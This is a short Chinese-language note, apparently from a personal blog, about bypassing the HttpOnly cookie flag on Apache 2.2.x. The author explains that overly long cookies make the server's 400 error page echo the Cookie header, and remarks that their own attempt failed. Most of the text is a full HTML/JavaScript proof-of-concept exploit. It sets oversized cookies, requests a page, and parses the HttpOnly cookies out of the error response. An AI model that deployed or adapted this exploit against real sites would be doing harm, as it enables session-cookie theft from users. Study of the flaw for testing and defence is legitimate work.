对于xss攻击(窃取cookie),一个有效的方式是设置httponly属性,在apache2.2.X 很多版本,当cookie过长时,将返回cookie导致cookie泄露
这个POC试验失败-_-不知道为啥
开始时不知道ajax请求如何携带cookie发送,以为还是setRequestHeader。。,后来知道为了安全取消了这样的发送行为,可以通过设置document.cookie,这样发送的
请求就会携带cookie参数了
1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 function setCookies(good) 7 { 8 var str=""; 9 for(var i=0;i<819;i++) 10 { 11 str+="x"; 12 } 13 for(i=0;i<10;i++) 14 { 15 if(good) 16 { 17 var cookie = "xss"+i+"=;expires="+new Date(new Date()-1).toUTCString()+";path=/;"; 18 19 } 20 else 21 { 22 var cookie="xss"+i+"="+str+";path=/;"; 23 24 } 25 document.cookie=cookie; 26 } 27 } 28 function makeRequest() 29 { 30 setCookies(); 31 function parseCookies() 32 { 33 var cookie_dict={}; 34 if(xhr.readyState==4&&xhr.status==400) 35 { 36 alert(xhr.responseText); 37 var content=xhr.responseText.replace(/\n|\r/g,'').match(/<pre>(.+)<\/pre>/); 38 if(content.length) 39 { 40 content=content[1].replace("Cookie: ",""); 41 var cookies=content.replace(/xss\d=x+;?/g,'').split(/;/g); 42 for(var i=0;i<cookies.length;i++) 43 { 44 var s_c=cookies[i].split("=",2); 45 cookie_dict[s_c[0]]=s_c[1]; 46 } 47 } 48 49 setCookies(true); 50 alert(JSON.stringify(cookie_dict)); 51 } 52 } 53 var xhr=new XMLHttpRequest(); 54 xhr.onreadystatechange=parseCookies; 55 xhr.open("GET","httponly.php",true); 56 xhr.send(null); 57 } 58 makeRequest(); 59 </script> 60 </body> 61 </html>